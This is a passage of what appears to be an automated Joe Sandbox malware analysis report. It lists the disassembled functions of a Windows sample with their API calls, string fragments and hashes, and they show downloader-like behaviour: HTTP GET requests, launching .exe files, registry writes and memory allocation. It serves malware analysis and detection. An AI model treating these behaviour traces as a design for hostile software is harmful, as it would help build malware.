TerminateProcess.KERNEL32(00000000,?,0040EF0C,00000000,771ADF80,?,00000000,?,004114AD), ref: 0040EF36
ExitProcess.KERNEL32 ref: 0040EF48

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: d9b2d8b9480fbdfc0f40d30fbcce2ac7d268d3ffe56ae59340c1a79faed9bf6b
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 48E08C71400108BFCF117F26CC0898A3F28FB10341B004835F804AA232CB39DD92CB58

Function 00F8A45E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00F8A486
Module32First.KERNEL32(00000000,00000224), ref: 00F8A4A6

Memory Dump Source

Source File: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F89000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f89000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fe9a354a6e53602ccab1c58fa517ce99da74b7932e37eba1853efebda3c5f36b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7EF0F6316007106BEB207BF8AC8DBEE72E8EF48335F10016AE642914D0DBB4EC059B62

Function 00408020 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

emp, xrefs: 00408037
mixtwo, xrefs: 0040805C

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction ID: 72a2dd17e89226f8ccca0b0bb08db3f26db736a0bfe45ababc36bb360cb4900e
Opcode Fuzzy Hash: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction Fuzzy Hash: 7BF08CB160130457E710BF24ED1B71A3EA4970275CFA006ADDC601F2D2E7FB821A97EA

Function 004055C0 Relevance: 27.3, APIs: 5, Strings: 10, Instructions: 1092
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,?,7732D120), ref: 00405620
__Init_thread_footer.LIBCMT ref: 00405847
Sleep.KERNEL32(00000BB8,00000000,?,0042B77C,0042B92C,0042B92D,?,?,?,?,?,?,?,00000001,SUB=,00000004), ref: 00405A4A

Part of subcall function 00406550: __Init_thread_footer.LIBCMT ref: 004065B9

Part of subcall function 004065E0: __Init_thread_footer.LIBCMT ref: 0040663A

Part of subcall function 00407C30: __Init_thread_footer.LIBCMT ref: 00407C99

Part of subcall function 00407BB0: __Init_thread_footer.LIBCMT ref: 00407C09

Part of subcall function 00407B10: __Init_thread_footer.LIBCMT ref: 00407B8D

Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,?,004272E8,00000000,00000000,?,00000000,00000001,SUB=,00000004), ref: 004062DE
Sleep.KERNEL32(00000BB8,00000000,00000000,004272E8), ref: 004063DD

Part of subcall function 00407FA0: __Init_thread_footer.LIBCMT ref: 00407FF9

Part of subcall function 00407F20: __Init_thread_footer.LIBCMT ref: 00407F79

Part of subcall function 00407EC0: __Init_thread_footer.LIBCMT ref: 00407F11

Part of subcall function 004055C0: RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405493
Part of subcall function 004055C0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 004054B5
Part of subcall function 004055C0: RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 004054DD
Part of subcall function 004055C0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054E6

Strings

]DFE, xrefs: 0040428D
mixone, xrefs: 00405ADF
DFEK, xrefs: 00404EDC
Q)9, xrefs: 004056F8
^OX*, xrefs: 004046E8
KDOX, xrefs: 00404541
get, xrefs: 0040575C
updateSW, xrefs: 004051E8
viFO, xrefs: 00404537
SUB=, xrefs: 00405632

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer$Sleep$CloseCreateOpenValue
String ID: DFEK$KDOX$Q)9$SUB=$]DFE$^OX*$get$mixone$updateSW$viFO
API String ID: 2078494684-1136066708
Opcode ID: 3370340bea71cbf09f401ea1be89ae1aa616e8b686eb8a3d9626f30ac681365a
Instruction ID: f649a411d8851b1a91c0a488fce11130e3673d7bad0c40fe0d5f826dd2b8960c
Opcode Fuzzy Hash: 3370340bea71cbf09f401ea1be89ae1aa616e8b686eb8a3d9626f30ac681365a
Instruction Fuzzy Hash: 3F82AF71D001049ADB14FBB5C95ABEEB3789F14308F5081BEF412771D2EF786A49CAA9

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

GET, xrefs: 100016AA
http://, xrefs: 10001567

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401740 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017B7
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017DD

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 004025A3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401803
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401829

Strings

GET, xrefs: 00401F81
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401807
text, xrefs: 00401B5C
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017E1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401779
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017BB

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text
API String ID: 2146599340-3782612381
Opcode ID: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction ID: 9ba0ec624b0ce2a87a65cb7bdca14d25b7083be08071b54b776f69b68f7f070f
Opcode Fuzzy Hash: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction Fuzzy Hash: 34316171E00108EBDB14DFA9DC85FEEBBB9EB48714F60812AE121771C0C778A644CBA5

Function 04B4003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B4024D

Strings

cess, xrefs: 04B4018D
kernel32.dll, xrefs: 04B4008F, 04B40095

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aaf139267ef4e5642fbb18c39f388347c894ce93ea4240f5c082b251081cc81f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: EB527974A01229DFDB64CF68C984BACBBB1BF49304F1480D9E94DAB351DB30AA85DF15

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: 5bb6c959c08c52f1deca969ff5d7f0342f658ad243dbff8a6426dbc5f8fc3103
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: 5bb6c959c08c52f1deca969ff5d7f0342f658ad243dbff8a6426dbc5f8fc3103
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: fecaffcc8a5dd3a535f99b20f533ad3ad145e7b685b1384be33c82bc1a84d92d
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: fecaffcc8a5dd3a535f99b20f533ad3ad145e7b685b1384be33c82bc1a84d92d
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 00401DE0

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction ID: beb1f9afae3dc46702148b7d116b1b3e2c798cd3d3ea86b197954d74152ad0ce
Opcode Fuzzy Hash: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction Fuzzy Hash: F451C371E002099FDB14CFA8C885BEEBBB5EF48314F20812EE915B72C1D7799945CBA4

Function 0099CD47 Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0099CD8B
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0099CDB2
GetNativeSystemInfo.KERNEL32(?), ref: 0099CE09

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000998000.00000040.00000001.01000000.00000003.sdmp, Offset: 00998000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_998000_3K6rBUOQ2z.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: eca3a003ee27186f9b2c1cc7a45abf07b1ddf1f1115ab9b4cb8bdf9d608af222
Instruction ID: b0219bd2726bda7c04632a980d4bb5fa1243ecf723514d56e77e921b98ebc9af
Opcode Fuzzy Hash: eca3a003ee27186f9b2c1cc7a45abf07b1ddf1f1115ab9b4cb8bdf9d608af222
Instruction Fuzzy Hash: D721E7B150418EAFDF12DF64C948BEF3BA9EF05305F100426E9428AD90EB765DA4CF68

Function 004020C0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 004020F6
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402117
CloseHandle.KERNEL32(00000000), ref: 0040211E

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction ID: 54406537bc71ee86772d4e0f102f4040d02d69394e2def86726d8d124470bd26
Opcode Fuzzy Hash: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction Fuzzy Hash: 4401D671610204ABD720DF68DD49FEEB7A8EB48725F00053EFA45AA2D0DAB46945C758

Function 04B40E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B40223,?,?), ref: 04B40E19
SetErrorMode.KERNEL32(00000000,?,?,04B40223,?,?), ref: 04B40E1E

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f91484002589e88e4a4d3f6ea8ab43fed4857b487d85ba7f5556b63228273427
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0BD0123154512877D7003A94DC09BCD7B1CDF09B62F008451FB0DD9080C770964046E6

Function 00A9ADDE Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00A9ADED

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000A9A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a9a000_3K6rBUOQ2z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4a04f0fa4f3bd5c79ad91900929f012e460dca994b15493878c4e414ebe116b3
Instruction ID: 238103499dce263cdfef9c96157852f8f8263a942b41da82cf5a09aa355b5b1f
Opcode Fuzzy Hash: 4a04f0fa4f3bd5c79ad91900929f012e460dca994b15493878c4e414ebe116b3
Instruction Fuzzy Hash: 791144B260125B9FCB02DF30C8457DE3BA1EF61311F15802AE9808BE52DA265C21CBDA

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 0041249E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction ID: ad8272dea5af250e00f6a395d7f300feb0e2b911a381963764dc482fc342fffd
Opcode Fuzzy Hash: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction Fuzzy Hash: B4E03031205225AAD73126A69E00BDB3A589B417A4F154233EC04E66D1DBAC9CE182AD

Function 0099D208 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0099D20B

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000998000.00000040.00000001.01000000.00000003.sdmp, Offset: 00998000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_998000_3K6rBUOQ2z.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 55ac00a8b322077b20a80045003d75cf766b398437384f5425b7f09681cf5447
Instruction ID: ca48ff0c3c765cb34c8e9d16a158c4f18fe9c3d08370c6489bac0c260c3eff79
Opcode Fuzzy Hash: 55ac00a8b322077b20a80045003d75cf766b398437384f5425b7f09681cf5447
Instruction Fuzzy Hash: 02E0ECB040C309DFE7002F08C89466DBBE4EF11705F118C1C9AD642212E67948509B4A

Function 10005BF4 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 10005C07

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction ID: c87f8b0a48b83a8a7248450826a19003e4aa18d6d81e39a7cffe4d34c565a0dd
Opcode Fuzzy Hash: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction Fuzzy Hash: D9C04C75500208BBDB05DF45DD06A4E7BA9EB812A4F204054F41567291DAB5EF449691

Function 0040E268 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E27B

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction ID: def2e2de252ffdbb94672f6279d5865abf5ab7644d9ffbe49541578f7e328dd5
Opcode Fuzzy Hash: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction Fuzzy Hash: 82C08C31100208BBCB00DB46C806B8E7FA8DB803A8F204049F40417251DAB1EE409680

Function 00F8A11D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00F8A16E

Memory Dump Source

Source File: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F89000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f89000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: dfe9a1f9607db7075932e178fb7495390c159b833725765f0e1af3b6d7dc9e35
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 02113C79A00208EFDB01DF98C989E98BBF5EF08350F058095F9489B362D775EA50EF81

Function 00402BF0 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402BFF

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction ID: c3e6f36c677934e3fb1d6ceeea9da9d01375f90aa72a3d22a0593b590ebbe711
Opcode Fuzzy Hash: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction Fuzzy Hash: F7C0013200020DFBCF025F81EC0489A7F2AEB09264F008020FA1804021C7329931ABA9

Function 00402C10 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402C1C

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction ID: 60d78a83612f02709208ad56537e98f16bf966ab6139b9664c308e167d28ca00
Opcode Fuzzy Hash: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction Fuzzy Hash: 61B0923244020CFBCF021F81EC048D93F2AFB08264F008024FA1C44031C733D531AB84

Non-executed Functions

Function 04B43B27 Relevance: 31.4, APIs: 9, Strings: 8, Instructions: 1645COMMON

Download Yara Rule

Strings

rB, xrefs: 04B442AC
FOKD, xrefs: 04B4431F
rB, xrefs: 04B46527
]DFE, xrefs: 04B444F4
rB, xrefs: 04B43DD6
